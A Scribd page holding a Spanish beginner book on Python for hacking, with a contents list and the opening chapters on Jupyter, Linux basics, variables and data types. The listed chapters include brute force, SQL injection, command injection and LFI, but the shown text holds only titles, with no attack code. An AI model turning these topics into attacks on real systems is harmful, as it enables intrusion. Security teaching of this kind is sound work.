0% encontró este documento útil (0 votos)
30 vistas427 páginas

Guía Completa de Python y Seguridad

Cargado por

Luis
Derechos de autor
© All Rights Reserved
Nos tomamos en serio los derechos de los contenidos. Si sospechas que se trata de tu contenido, reclámalo aquí.
Formatos disponibles
Descarga como PDF, TXT o lee en línea desde Scribd
0% encontró este documento útil (0 votos)
30 vistas427 páginas

Guía Completa de Python y Seguridad

Cargado por

Luis
Derechos de autor
© All Rights Reserved
Nos tomamos en serio los derechos de los contenidos. Si sospechas que se trata de tu contenido, reclámalo aquí.
Formatos disponibles
Descarga como PDF, TXT o lee en línea desde Scribd

2

Palabras del Autor.....................................................................................................................................6


Lenguaje de Programación Python......................................................................................................... 7
Iniciándose en Python.............................................................................................................................. 7
Un poco de Linux antes de comenzar…................................................................................................. 8
sudo....................................................................................................................................................... 8
apt-get................................................................................................................................................... 8
apt-get update....................................................................................................................................... 8
apt-get upgrade..................................................................................................................................... 9
¿Qué es Anaconda?..............................................................................................................................9
Listas........................................................................................................................................................ 36
Uso de yield............................................................................................................................................. 40
Diccionarios............................................................................................................................................. 41
Asignación Múltiple.................................................................................................................................45
Estructuras de Control IF, ELSE y ELIF.................................................................................................51
Bucle While.............................................................................................................................................. 57
Bucle For.................................................................................................................................................. 60
Funciones en Python.............................................................................................................................. 64
Funciones con Retorno....................................................................................................................... 67
Funciones con Parámetros..................................................................................................................69
Funciones con Parámetros por Omisión............................................................................................. 72
Función Lambda......................................................................................................................................73
Herencia en Python................................................................................................................................. 80
StarHacks............................................................................................................................................ 96
Matplotlib................................................................................................................................................141
Ejemplo código de transferencias simuladas.................................................................................... 177
Generar usuarios y contraseñas falsas para un honeypot o diccionario...........................................183
Generar logs falsos de SSH ([Link] style) con IPs fake.................................................................184
Generar logs HTTP falsos ([Link]) con URLs y user-agents fake............................................. 186
Generar clientes falsos para un honeypot (IPs + países + nombres)............................................... 187
Generar correos y dominios falsos para probar filtros de phishing................................................... 188
Fuerza Bruta FTP...................................................................................................................................195
Fuerza Bruta SSH.................................................................................................................................. 197
Graficar subdominios vivos como nodos...........................................................................................207
Grafo de tráfico desde logs: IPs:....................................................................................................... 208
MX: dominio y servidores de correo.................................................................................................. 210
Mapa simple de infraestructura de dominio con GeoIp..................................................................... 210
Graficar la ruta DNS completa CON dominio , NS , IPs:................................................................... 212
Mapa DNS de reputación:................................................................................................................. 213
Detectar saltos por país simplemente por IP..................................................................................... 216
Detectar saltos sospechosos, país o ISP raro...................................................................................217
PCAP_DNS_C2.................................................................................................................................243
Leer los paquetes y detectar los que hablan DNS...................................................................... 244
PCAP_DGA....................................................................................................................................... 254
Así empieza la historia, mirando desde lejos.............................................................................. 254

3
PCAP_RDP_C2.................................................................................................................................271
El túnel RDP con Meterpreter......................................................................................................272
Escaneo básico de puertos TCP................................................................................................. 287
Escaneo de rango de puertos con multithreading....................................................................... 289
Escaneo con detección de banners.............................................................................................289
SSH, en palabras simples................................................................................................................. 295
Accediendo/var/log/[Link].............................................................................................................. 296
Interpretación de registros SSH........................................................................................................ 296
Estructura General de un Registro en [Link]................................................................................. 297
Formato [Link]............................................................................................................................... 297
Creación de Registros Logs para el Ejercicio....................................................................................298
Intento de Fuerza Bruta sobre el servidor......................................................................................... 300
Agregando en Ataque dentro de los logs.......................................................................................... 300
Investigación Forense de Logs SSH................................................................................................. 303
Parser de Logs.................................................................................................................................. 304
Importación de Librerías.................................................................................................................... 323
¿Tiene HTTPS? El mínimo decente de seguridad............................................................................ 323
Los encabezados de seguridad.........................................................................................................324
Antivirus del navegador para ataques de script................................................................................ 324
Detectar si hay un WAF de forma simple.......................................................................................... 325
¿El sitio obliga a usar HTTPS siempre?............................................................................................326
¿Se redirige automáticamente a HTTPS?.........................................................................................326
Reputación de la IP.. ¿es una IP oscura?..........................................................................................327
Pequeño wrapper para simplificar el uso.......................................................................................... 327
Qué versión de TLS usa el sitio.........................................................................................................328
Escaneo de malware del sitio web.................................................................................................... 328
El puntaje final de seguridad............................................................................................................. 329
Devolver resultados individuales (para graficar)............................................................................... 330
El velocímetro: un gráfico estilo nivel de seguridad.......................................................................... 330
Gráfico horizontal de cada control.....................................................................................................331
Resolver el dominio a su dirección IP real........................................................................................ 332
Scanner de Información Básica.........................................................................................................334
Detectar tecnologías con requests (fingerprinting simple)................................................................ 335
Detectar si un sitio está mal configurado (Security Headers)............................................................336
Requests para detectar redirecciones peligrosas............................................................................. 336
Detectar subdominios expuestos...................................................................................................... 337
Requests para detectar WAF simple................................................................................................. 337
Requests para detectar Malware en la página (heurística simple)....................................................338
Requests para OSINT....................................................................................................................... 338
Escaneo simple de directorios (Directory Discovery)........................................................................ 338
Descubrimiento de archivos sensibles.............................................................................................. 339
Crawler simple (recorre links dentro de la página)............................................................................ 340
Brute Force de directorios con una wordlist externa......................................................................... 341
Buscar paneles de login.................................................................................................................... 342

4
ejemplo 1 - extraer todos los links de una pagina (con comentarios)............................................... 343
ejemplo 2 - listar formularios e inputs (con comentarios).................................................................. 347
ejemplo 3 - leer una tabla html (mutillidae tiene muchas)................................................................. 348
Código para probar 5 passwords en el login de dvwa (Brute Force HTTP)...................................... 350
Acceder a una página interna después del login...............................................................................351
XSS Reflected (GET con parámetro vulnerable)...............................................................................352
SQL injection by Error....................................................................................................................... 353
Command Injection............................................................................................................................354
Local File Inclusion - LFI....................................................................................................................355
Arbitrary File Upload.......................................................................................................................... 356
Mini SQLMAP - UNION-BASED............................................................................................................ 357
Detectar columnas.............................................................................................................................357
Detectar columna imprimible............................................................................................................. 358
Extraer versión.................................................................................................................................. 359
Extraer database............................................................................................................................... 360
Extraer tablas.................................................................................................................................... 361
Extraer columnas...............................................................................................................................362
Extraer usuarios................................................................................................................................ 363
Escaneo rápido de puertos comunes................................................................................................ 365
Escaneo de puertos del 1 al 1000..................................................................................................... 366
Detección de servicios y versiones................................................................................................... 367
Detección del sistema operativo........................................................................................................369
Antes de empezar con Flask............................................................................................................. 370
Flask súper básico.............................................................................................................................370
Flask con plantilla HTML + Formulario simple...................................................................................371
Flask + Nmap.................................................................................................................................... 373
Crear la estructura básica del proyecto.............................................................................................376
Crear la base de datos SQLite.......................................................................................................... 377
Escribir la aplicación Flask dentro de Jupyter - [Link]..................................................................... 378
Dashboard [Link]........................................................................................................................382
Javascript.......................................................................................................................................... 383
CSS................................................................................................................................................... 386
Monitoreo emocional en tiempo simulado ante un posible ataque....................................................394
Análisis de sentimiento en alertas SOC............................................................................................ 396
Analizar sentimiento de servicios detectados por un escáner...........................................................397
getinfoCountry()................................................................................................................................. 398
Nmap................................................................................................................................................. 400
prepare_cpe(cpe).............................................................................................................................. 403
NVD Rate Limit.................................................................................................................................. 404
getCPE()............................................................................................................................................ 405
parser_response()............................................................................................................................. 406
Print()................................................................................................................................................. 408
CatScanner 2.0..................................................................................................................................410
Configuración inicial.......................................................................................................................... 410

5
Base de datos.................................................................................................................................... 411
Guardar puertos encontrados y vulnerabilidades asociadas.............................................................412
Lecturas desde SQLite...................................................................................................................... 412
Información Geo-IP........................................................................................................................... 413
Normalización del CPE......................................................................................................................413
Control del rate-limit y Llamada real a la API de NVD 2.0.................................................................413
Parser de vulnerabilidades................................................................................................................ 415
Escaneo con nmap............................................................................................................................ 416
[Link].......................................................................................................................................... 417
[Link].................................................................................................................................. 419
CatScanner… vamos a trabajar........................................................................................................ 424
Final del Libro........................................................................................................................................ 426

Palabras del Autor


Es curioso… cada vez que abro este Jupyter Notebook siento que estoy entrando a una cabina pequeña,
casi como una nave personal donde mezclo café tibio, Python 3 y las interrupciones de Tom que insiste en
caminar sobre el teclado… siempre en el peor momento. Otto, en cambio, aparece como un maestro jedi
felino… silencioso… como si revisara el código desde otra dimensión.

Este libro está pensado para quienes necesitan aprender Python 3 desde lo más básico… pasando por
conceptos generales… hasta llegar a construir pequeñas aplicaciones web sin que el camino se vuelva una
tortura. El objetivo es darte los fundamentos necesarios para que puedas escribir tus propias herramientas,
modificar las que ya existen o simplemente entender cómo funciona un lenguaje interpretado cuando uno lo
mira con esa mirada media hacker… media curiosa.

Todos los ejemplos vienen desde casos prácticos de ciberseguridad… para que la lectura sea más natural,
menos académica y más útil en la vida real. Igual, no te preocupes: este libro lo puede usar cualquiera que
tenga ganas de aprender Python… incluso si nunca ha abierto un terminal.

Como complemento, trabajamos todo en Jupyter… esta especie de nave nodriza portátil donde puedes
mezclar texto y código en una misma página… correr ejemplos sin máquinas virtuales… sin enredos… sin
tutoriales eternos. Solo tú… el Notebook… y, si tienes gatos, probablemente una pata felina presionando
Enter cuando no corresponde.

Happy Hacking… y que la Fuerza felina te acompañe.

6
Lenguaje de Programación Python
Python es uno de esos lenguajes que uno mira y dice… oye, esto es casi pseudocódigo...… y no en mala,
sino porque realmente es fácil de leer, simple de escribir y lo bastante potente como para que te preguntes
por qué no lo habías usado antes. Tiene esa mezcla rara entre elegancia y sencillez… como si alguien
hubiese decidido que programar no tiene por qué doler.

Entre sus características más importantes está que es un lenguaje interpretado… trae un montón de librerías
instaladas por defecto… no tienes que declarar el tipo de dato de cada variable (Python confía en ti… o al
menos hace como que confía)… y puedes escribir tanto código orientado a objetos como estructurado,
dependiendo de qué tan filosófico te encuentres ese día. Su sintaxis es limpia… clara… casi terapéutica… y
el código corre en múltiples plataformas sin que tengas que sufrir configurando mil cosas.

Y claro… todo esto lo convierte en un lenguaje ideal para hackers que quieran crear sus propias
herramientas… o automatizar esas tareas que normalmente se demoran una eternidad. Python te deja
enfocarte en la lógica… en el problema… en la creatividad… mientras Tom pasa por encima del teclado y
Otto asiente desde el más allá como buen maestro jedi felino.

Python es simple… pero no básico. Y por lo mismo, es perfecto para este viaje.

Iniciándose en Python
Para comenzar, debemos saber que Python viene instalado por defecto en la mayoría de los sistemas
operativos (Linux, MacOs, Solaris y AIX). El único sistema operativo que no cuenta con Python instalado por
defecto es Windows (lo sé, siempre arruinando la fiesta).

Todos los ejemplos que vamos a ver en este libro, van a ser realizados en Jupyters, pero sus ejercicios
pueden ser fácilmente llevados a una máquina distinta, por ejemplo Kali Linux, Si no sabes mucho de
informática y con este libro te estás iniciando, te sugiero, sigas el paso a paso del libro, para que te resulten
todos los ejercicios propuestos y no te desmotives en el camino por algún error en la programación.

7
También me gustaría aclarar que en este libro NO se tratarán temas de instalación de python sobre Windows
u otras tecnologías, espero no desviarme del objetivo principal de profundizar sobre este maravilloso
lenguaje y su práctica orientada al hacking, espero de corazón que aprendas a programar siguiendo el paso
a paso y no mueras en el intento, como suele suceder con muchos libros que he visto circular por internet.

Un poco de Linux antes de comenzar…


Antes de meternos de lleno en Jupyter, me gustaría hacer una pequeña pausa… sí, de esas que uno hace
para dejar el café en la mesa y respirar un poco… y explicar algunos comandos útiles si vas a usar este libro
en un entorno GNU/Linux. Y si estás en Windows… bueno, ahí la vida es más simple: descargas Anaconda,
le das siguiente… siguiente… siguiente… y ya tienes todo instalado en un solo paquete. Aquí está el enlace
por si acaso: [Link]

Pero en Linux la historia es distinta… no difícil, solo distinta… así que conviene conocer algunos comandos
básicos que te van a acompañar varias veces durante este viaje.

sudo
El famoso sudo… ese que uno escribe con respeto. El nombre viene de super user do, y es la utilidad que
permite ejecutar programas con privilegios de otro usuario, normalmente el usuario root. Es decir… te
conviertes temporalmente en súper usuario para hacer tareas que requieren más poder. Úsalo con cuidado…
como si Otto te estuviera mirando desde el lado oscuro del Notebook.

apt-get
Este comando trabaja con el sistema de paquetes de Linux. apt-get revisa una base de datos donde se lleva
el registro de lo que tienes instalado, lo que no tienes, lo que está disponible y lo que depende de qué.
Cuando pides instalar algo… apt-get ve qué necesitas… qué otras cosas hay que traer… y lo organiza todo
para que funcione sin que tengas que armar un mapa mental.

apt-get update
Cada cierto tiempo conviene ejecutar este comando. update actualiza la lista de paquetes disponibles y sus
versiones… pero no instala nada aún. Solo descarga la información desde los repositorios definidos en
/etc/apt/[Link]. Es como decirle a Linux..... Oye, ¿qué hay de nuevo por ahí afuera?

8
apt-get upgrade
Una vez que ya actualizaste la lista, viene el momento de instalar las versiones nuevas de los paquetes que
ya tienes. apt-get upgrade hace justamente eso… descarga las actualizaciones y las aplica respetando tu
configuración cuando es posible. Es como hacer aseo general… pero de software.

Con estos comandos ya tienes una base sólida para moverte en Linux… y ahora sí… podemos volver
tranquilos al Jupyter Notebook, donde Tom probablemente ya se acostó encima de una tecla y dejó algo
escrito que no puse yo.

¿Qué es Anaconda?
Anaconda es, básicamente, ese salvavidas que te evita pelear con Python desde el primer minuto. Lo
instalas… y listo. Nada de andar configurando cosas raras, ni arreglando errores que no sabes de dónde
salieron. Es como cuando en Star Wars alguien dice “usa la Fuerza”… y simplemente funciona.

Dentro viene Jupyter Notebook listo para usar. Lo abres y aparece de inmediato en tu navegador,
funcionando localmente en tu computador… como un pequeño laboratorio donde puedes mezclar texto,
código y resultados en un mismo lugar. Es cómodo, práctico… casi como tener tu propia consola de mando,
pero sin los ruidos de nave espacial.

La gracia es que puedes ir probando cosas paso a paso… escribes un bloque de código, lo ejecutas,
comentas arriba o abajo… y sigues. Además, los notebooks se guardan como cualquier archivo normal:
puedes dejarlos en tu carpeta de proyectos, en Google Drive, o donde tú quieras… igual que un PPT o un
Excel, pero con superpoderes.

En resumen… Anaconda te ordena el camino para que te preocupes de crear y no de configurar… algo que
cualquier chileno agradece cuando tiene poco tiempo y quiere avanzar sin enredos.

Comenzando a programar
Cuando uno empieza a programar… lo primero es entender la filosofía del lenguaje y cómo vamos a traducir
nuestros pensamientos a algo que la máquina pueda ejecutar. Al final del día, el computador solo entiende
operaciones matemáticas y comparaciones… verdadero o falso… y nada más. Así que nuestra tarea es
aprender a pensar en ambos mundos: el de los humanos y el de las máquinas.

A mí me gusta verlo así..... programar es enseñarle a la computadora a pensar… y ojalá a pensar bien, para
hacernos la vida más sencilla. Cada vez que un programa se ejecuta, lo que realmente está pasando es que
una idea humana quedó escrita ahí… paso a paso… y ahora la máquina simplemente la sigue. Cuando

9
creemos que una máquina es inteligente..… en realidad estamos celebrando el trabajo de uno o varios
programadores que hicieron magia donde parecía imposible.

Programar es parecido a escribir un libro… o una receta de cocina. Tienes que describir cómo se hace una
tarea, paso por paso… pero con un detalle adicional... tienes que imaginar qué otras cosas podrían pasar
cuando el programa se ejecute. Por ejemplo, si escribes un programa para atacar un servidor web y asumes
que siempre está en el puerto 80… tu código va a fallar en todos los casos donde el servicio esté en otro
puerto. Y en la práctica, un servidor web puede estar corriendo en cualquier puerto del 0 al 65.535… así que
limitarte al 80 te hace perder la posibilidad de auditar o detectar vulnerabilidades en otros servicios. Eso es lo
que llamamos un error de diseño… de esos que después cuestan caro.

En Python tenemos dos formas principales de escribir programas:

1.​ Consola interactiva o intérprete

La consola sirve para hacer pruebas rápidas… cosas pequeñas… ideas que quieres validar al tiro. Cada
instrucción se ejecuta inmediatamente, así que requiere conocer bien el lenguaje. Personalmente la uso
poco… prefiero trabajar de una forma más ordenada.

2.​ Archivos .py (scripts)

Esta es la forma más común. Escribes tu código en un archivo con extensión .py… lo guardas… lo
ejecutas… lo modificas cuando quieras. Es limpio, organizado y te permite mantener tus programas en el
tiempo.

Las dos formas son útiles… cada una para lo suyo.... Si necesitas velocidad, anda por la consola
interactiva… si quieres algo más perdurable, anda por un .py.

En el fondo… programar es encontrar tu propio flujo… ese equilibrio entre lógica, paciencia… y un par de
pausas largas mientras Jupyter carga la celda y tú te preguntas si debiste haber probado esto antes.

Uso del intérprete de Python


La mejor forma de empezar con Python es tener un entorno donde puedas probar cosas rápido… sin
fricción… sin tener que configurar media galaxia antes de escribir tu primera línea. En Windows, Jupyter
Notebook te da justamente eso... escribes una línea, la ejecutas… y ves el resultado al instante. Nada más
simple.

Cuando instalas Anaconda, ya viene Python configurado y listo para usar. En Windows no lo vas a encontrar
en rutas típicas como /usr/local/bin/python… aquí se guarda dentro de la carpeta interna de Anaconda, algo
así como:

10
C:\Users\TU_USUARIO\anaconda3\[Link]

Pero lo bueno es que no necesitas memorizar ni buscar esa ruta… Jupyter ya sabe dónde está el intérprete y
se conecta directamente. Solo abres el Notebook… y empiezas a escribir. Es como encender una consola de
mando y que todo esté funcionando sin preguntar nada.

!python --version

Ejecutar comandos del sistema en Jupyter (Windows vs Linux)

En Jupyter puedes ejecutar comandos del sistema poniendo un ! al inicio… igual que en Linux. Es una de
esas pequeñas cosas que hacen que el Notebook se sienta como una mezcla rara entre terminal y cuaderno
digital… pero funciona muy bien.

Por ejemplo, si quieres revisar los archivos de tu carpeta actual, puedes escribir algo como:

!dir # en Windows

!ls # en Linux

La idea es la misma… Jupyter envía ese comando al sistema operativo y te muestra el resultado
directamente en la celda… así, sin rodeos. Es cómodo para hacer pruebas rápidas, revisar rutas o ejecutar
herramientas mientras vas escribiendo tu código Python.

Ejemplo:

In [1]:
!python --version

Python 3.13.5

In [2]:
!ver

Microsoft Windows [Versión 10.0.26100.7171]

Esto funciona también en Windows… pero hay un par de diferencias importantes que conviene tener claras
antes de probar cosas a la rápida.

En Windows NO funciona el comando: !apt-get install nmap

Porque apt-get es exclusivo de Linux... En Windows, instalar programas del sistema va por otro camino…
normalmente un instalador .exe, o herramientas como winget o chocolatey, dependiendo de lo que uses en tu
máquina.

11
Un ejemplo equivalente en Windows sería: !winget install nmap

(pero ojo… solo funciona si winget está configurado en tu sistema).

En resumen… Jupyter te deja mezclar comandos del sistema en ambas plataformas, pero cada una tiene
sus propias reglas del juego… algo así como cambiar del Lado Luminoso al Lado Oscuro: la idea base es la
misma, pero los comandos se portan distinto.

Para empezar con la primera parte... donde vamos a ejecutar nuestra primera instrucción en el intérprete de
Jupyter..... me gustaría detenerme un segundo… y explicar de manera simple cómo se ejecuta un programa
en Python. Nada complejo… solo lo suficiente para entender qué pasa detrás de escena cuando corremos
un script.

Un programa, al final, es un conjunto de instrucciones escritas en un lenguaje de alto nivel. Algo que
nosotros podemos leer sin sufrir, y que luego será interpretado por una especie de traductor. Cuando
ejecutas tu programa, el intérprete de Python lee el código línea por línea… lo analiza… y lo transforma en
instrucciones de bajo nivel llamadas bytecode, que es algo mucho más cercano al lenguaje que entiende la
CPU.

La CPU (la Unidad Central de Procesamiento) toma ese bytecode… lo ejecuta… y realiza cálculos y
operaciones según lo que tú escribiste. Durante todo este proceso, el programa usa la memoria RAM como
espacio de trabajo: ahí guarda variables, estructuras de datos… y todo lo que necesita mientras corre.

Además, el programa puede interactuar con el sistema operativo: abrir archivos… usar la red… comunicarse
con otros procesos… lo típico. Si necesita conectarse a internet, el sistema operativo se encarga de hablar
con los controladores de red, configurar la conexión Wi-Fi y manejar las capas físicas de la comunicación. Y
cuando los datos finalmente viajan… lo hacen usando protocolos como TCP/IP, que permiten que cada
dispositivo sepa a dónde enviar cada paquete usando direcciones IP únicas.

Si tu programa habla con un servidor remoto, utiliza sockets para establecer la conexión. Eso permite una
comunicación bidireccional entre tu programa y el servidor. Si en cambio interactúa con una base de datos,
usa un driver especializado para conectarse, enviar consultas y recibir resultados. El servidor de base de
datos procesa todo y te devuelve una respuesta, que viaja nuevamente como datos binarios a través de la
red.

Todo esto, por supuesto, es una explicación súper simplificada… en la realidad hay muchas más capas de
software, hardware, protocolos y medidas de seguridad que trabajan en conjunto para que todo funcione sin
que te des cuenta.

12
Así que antes de irnos al ejemplo, respiremos un poco… acomodamos el Notebook… y vemos algo clásico
para romper el hielo.

In [3]:
print("Hola, mundo!")

Hola, mundo!

Ese es nuestro primer saludo en Python… simple… directo… casi como mandarle un mensaje al universo
desde el Notebook. Pero para que te hagas una idea de lo que pasa debajo… y de por qué Python es tan
amable comparado con el metal puro… aquí te dejo un “Hola, mundo!” escrito en ensamblador x86. Sí… esa
etapa donde uno mira el código y piensa “ya, esto parece castigo”....

In [4]:
section .data
hello db 'Hola, mundo!',0

section .text
global _start

_start:
mov eax, 4
mov ebx, 1
mov ecx, hello
mov edx, 13
int 0x80

mov eax, 1
int 0x80

Esto es hablarle directamente al procesador… registro por registro… byte por byte. Aquí no hay intérprete
que te cubra la espalda… eres tú… la CPU… el sistema operativo… y probablemente Tom pasando por el
teclado sin ninguna consideración por el esfuerzo mental que implica leer ensamblador.

Es importante recalcar que todo este proceso... cargar el programa en memoria, asignar espacio, administrar
registros, manejar recursos..... lo realiza el sistema operativo. Tú escribes el código… y el sistema hace el
resto… como cuando trabajas con un equipo donde todos saben lo que tienen que hacer… bueno, casi
todos.

Comparar ambos ejemplos ayuda a entender por qué Python nos simplifica tanto la vida. En un caso
escribes una línea y funciona… en el otro sientes que estás desarmando un VHS del año 98 sin manual.

Así que… con esto claro… respiramos un poco… dejamos que Jupyter cargue tranquilo… movemos al gato
si está pisando la tecla Enter…

13
Y comencemos.

El primer ejemplo que vamos a escribir en Python será algo muy simple… la declaración de una variable. Es
como el... hola, soy programador del lenguaje… suave… sin complicaciones… ideal para seguir calentando
motores antes de meternos en cosas más entretenidas.

A veces la magia de Python empieza justamente aquí… en cómo una instrucción tan corta puede representar
un pedacito de tu pensamiento convertido en código. Y sí… mientras uno escribe estas cosas, siempre existe
la posibilidad de que el gato aparezca y decida renombrarte la variable sin preguntar… pero bueno… parte
del encanto de trabajar en un Notebook en casa.

Vamos con el ejemplo.

In [5]:
ip = "[Link]"

Lo que acabamos de hacer es decirle a la consola que vamos a guardar un dato… en este caso la dirección
[Link]… dentro de una variable llamada ip. Python simplemente toma ese valor y lo deja guardado
ahí… esperando a que lo uses más adelante.

Cada vez que queramos saber qué valor tiene guardado la variable ip… escribimos algo así:

In [6]:
ip

Out[6]:
'[Link]'

Y listo… Python nos devuelve lo que tiene adentro sin hacer ningún drama....ojalá todo en la vida fuera así
de directo…

Para asignar un valor a una variable en Python usamos el símbolo = … que en este contexto no significa “es
igual”, sino “asigna este valor aquí”. Las variables pueden tener el nombre que tú quieras… en este caso
escribimos ip… pero podría haber sido cualquier otro nombre que te haga sentido.

Ahora, si queremos sumar dos números directamente en la consola… lo hacemos así… simple… sin
ceremonias:

In [7]:
7 + 7

14
Out[7]:
14

Python evalúa la expresión… y nos devuelve el resultado de inmediato. Y eso es lo bonito del intérprete…
puedes probar ideas rápido, casi como si estuvieras conversando con el lenguaje. Python no pregunta
nada… solo evalúa la operación y te muestra el resultado al tiro.

Por otra parte… si queremos restar… hacemos exactamente lo mismo, pero con el operador
correspondiente. Algo así:

In [8]:
33 - 30

Out[8]:
3

Y listo… Python devuelve el resultado sin complicarse. A veces uno mira esto y piensa que ojalá las
matemáticas del colegio hubieran sido así de amables… pero bueno… cosas del pasado.

Ahora, si queremos sumar dos números que están guardados en variables… lo hacemos así… simple y
ordenado:

In [9]:
a = 30
b = 3

In [10]:
a + b

Out[10]:
33

Si queremos saber cómo funciona una librería en particular… o simplemente entender qué opciones trae…
podemos usar la función help() de Python. Es como pedirle al intérprete que nos muestre el manual… pero
sin tener que abrir otra ventana.

Se usa así… directo:

In [11]:
help("json")

Help on package json:

15
NAME
json

MODULE REFERENCE
[Link]

The following documentation is automatically generated from the Python


source files. It may be incomplete, incorrect or include features that
are considered implementation detail and may vary between Python
implementations. When in doubt, consult the module reference at the
location listed above.

DESCRIPTION
JSON (JavaScript Object Notation) <[Link] is a subset of
JavaScript syntax (ECMA-262 3rd edition) used as a lightweight data
interchange format.

:mod:`json` exposes an API familiar to users of the standard library


:mod:`marshal` and :mod:`pickle` modules. It is derived from a
version of the externally maintained simplejson library.

Encoding basic Python object hierarchies::

>>> import json


>>> [Link](['foo', {'bar': ('baz', None, 1.0, 2)}])
'["foo", {"bar": ["baz", null, 1.0, 2]}]'
>>> print([Link]("\"foo\bar"))
"\"foo\bar"
>>> print([Link]('\u1234'))
"\u1234"
>>> print([Link]('\\'))
"\\"
>>> print([Link]({"c": 0, "b": 0, "a": 0}, sort_keys=True))
{"a": 0, "b": 0, "c": 0}
>>> from io import StringIO
>>> io = StringIO()
>>> [Link](['streaming API'], io)
>>> [Link]()
'["streaming API"]'
.
.
.
.

Python mostrará la descripción, las funciones disponibles… y toda la información útil para orientarte. Es una
herramienta bien práctica cuando estás aprendiendo… o cuando, después de varias horas frente al
Notebook, ya no recuerdas si una función se llamaba connect… connexion… o si Tom borró una letra
mientras pasaba por el teclado.

16
Si queremos saber si tenemos instalada alguna librería en particular… por ejemplo mysql o nmap… que
sabemos que no vienen por defecto en Python… podemos probar importarlas directamente.

In [12]:
help("python-nmap")

No Python documentation found for 'python-nmap'.


Use help() to get the interactive help utility.
Use help(str) for help on the str class.

Si la librería está instalada… Python cargará el módulo sin decir nada. Si no está disponible… el intérprete
mostrará un error avisando que el módulo no existe. Es una manera simple… rápida… y bastante práctica
para confirmar qué tenemos en el entorno, sobre todo cuando llevamos rato trabajando y ya no recordamos
si lo instalamos o lo soñamos después de ver demasiado código en la noche.

Elementos del Lenguaje


Uso de Variables y Constantes
Muchas veces, cuando estamos escribiendo un programa… necesitamos almacenar valores para usarlos
más adelante. Estos valores pueden ser de distintos tipos: texto… números… booleanos… alfanuméricos…
y un largo etcétera.

Si esos valores no van a cambiar durante la ejecución del programa, podemos tratarlos como constantes. En
cambio… si el valor puede variar con el tiempo o simplemente no estamos seguros de cómo lo vamos a usar
después… lo más natural es definirlo como variable.

La idea es sencilla… pero entender esta diferencia desde el principio ayuda mucho a mantener el código
ordenado y más fácil de leer. Es como cuando estás cocinando… hay ingredientes que van fijos desde el
inicio… y otros que ajustas sobre la marcha. Python funciona parecido.

La forma de definir una variable en Python es muy sencilla… solo escribes el nombre que quieras usar…
seguido del símbolo = y luego el contenido que vas a guardar.

Algo así:

mi_variable = contenido_asignado_a_la_variable

17
Python toma ese valor… lo guarda… y desde ese momento puedes usarlo cuando lo necesites. Sin
declaraciones previas… sin tipos obligatorios… solo asignas y sigues.

La forma de definir una constante en Python es… curiosa. Python no tiene constantes “reales” como otros
lenguajes… así que lo que hacemos es usar una convención de escribir el nombre en mayúsculas.

MI_CONSTANTE = contenido_asignado_a_la_variable

Esto le indica al lector del código que ese valor no debería cambiar… aunque Python técnicamente te dejaría
modificarlo si insistes. Es más una regla de buena práctica que una obligación del lenguaje.

Para explicar mejor este tema… vamos a usar la consola web interactiva de Python. Es un buen lugar para
probar ideas rápido… ver cómo se comportan las variables y las constantes… y entender en la práctica lo
que acabamos de revisar.

Abramos la consola… y empecemos a jugar un poco con el lenguaje.

In [13]:
mi_variable = "contenido guardado"

La forma incorrecta de definir una variable sería la siguiente:

In [14]:
mi variable = "contenido guardado"

Cell In[16], line 1


mi variable = "contenido guardado"
^
SyntaxError: invalid syntax

Para no tener errores al definir variables, debemos tomar el cuidado de no utilizar:

1.​ Espacios al definir una variable, el intérprete de python no lo procesaría por error de sintaxis.
2.​ Al utilizar caracteres como por ejemplo $ %&/()=?¿! al definir variables
In [15]:
$variable = "contenido guardado"

Cell In[17], line 1


$variable = "contenido guardado"
^
SyntaxError: invalid syntax

3.​ Al comenzar una definición de variables con números, el intérprete lo tomará como valor literal.

18
In [16]:
1variable = "contenido guardado"

Cell In[18], line 1


1variable = "contenido guardado"
^
SyntaxError: invalid decimal literal

Para trabajar con variables… siempre es buena idea usar nombres descriptivos. Ayuda mucho a entender
qué tipo de dato guardan y cuál es su propósito dentro del programa. Al final, el código no solo lo lee la
máquina… también lo leemos nosotros… y agradecerás esos nombres claros cuando vuelvas a revisar tu
proyecto después de varias semanas.

Si necesitas usar más de una palabra, lo recomendado es separarlas con guion bajo… así:

In [17]:
MI_CONSTANTE = "[Link]"

Eso hace que el código sea más legible… más limpio… y más fácil de seguir... Son pequeños detalles… pero
cuando el programa crece, se nota muchísimo.

Y si queremos imprimir el valor de una variable o una constante en pantalla, usamos la palabra reservada
print() la misma que hemos usado varias veces.

Tal como vimos en los ejemplos anteriores… las constantes van en mayúsculas y con guiones bajos para
separar palabras. Las reglas son casi las mismas que para las variables… y si mantenemos estas pequeñas
buenas prácticas desde el principio, evitaremos errores y enredos más adelante.

Pequeños hábitos… gran diferencia en el código.

In [17]:
print (MI_CONSTANTE) # imprimir en pantalla

[Link]

Tipos de Datos
Para entender cómo trabajamos con la información dentro de un programa… primero necesitamos tener
claro qué tipo de datos vamos a manipular. En una computadora, la información se presenta básicamente

19
como números, cadenas de texto y valores booleanos (verdadero o falso). Estos tres pilares son la base de
casi todo lo que hacemos en programación.

Imaginemos un caso concreto… nos encargan construir un programa que se conecte a Internet para
recuperar información. Antes de escribir cualquier línea de código… vale la pena hacerse una pregunta
sencilla… pero fundamental:

¿Qué tipos de datos nos vamos a encontrar al escribir un script que se conecte a Internet?

Si lo pensamos un momento… la respuesta cae por su propio peso:

●​ Para conectarse a Internet necesitamos una dirección IP


●​ Necesitamos un puerto que esté escuchando
●​ Y necesitamos saber si la conexión fue exitosa… es decir, un booleano

En resumen:

●​ IP: una cadena de texto​


Ejemplo: "[Link]"
●​ Puerto: un número​
Ejemplo: 443
●​ Conexión exitosa: un valor booleano​
Ejemplo: True o False

Estos tres datos parecen simples… pero son parte de la estructura básica de cualquier comunicación en red.
Y claro… en Python es muy fácil representarlos, lo cual ayuda bastante cuando uno está recién empezando.

Ahora… llevemos este mismo ejemplo al lenguaje Python. Abramos la consola web interactiva… y digitamos
lo siguiente.

In [18]:
ip = [Link]

Cell In[21], line 1


ip = [Link]
^
SyntaxError: invalid syntax

Aprovechemos este error para recalcar algo importante sobre el manejo de variables… Si analizamos lo que
escribimos antes, nos damos cuenta de que en la variable ip el valor asignado contiene números y puntos. Si
fueran solo números, no habría problema… pero al incluir el carácter punto, Python ya no lo interpreta como
número, sino como algo que necesita estar entre comillas.

En otras palabras… debemos manejarlo como una cadena de texto.

20
In [19]:
ip = "[Link]"
print(ip)

[Link]

Ahora sí… no apareció ningún error de sintaxis. Cada vez que trabajemos con cadenas de texto, tenemos
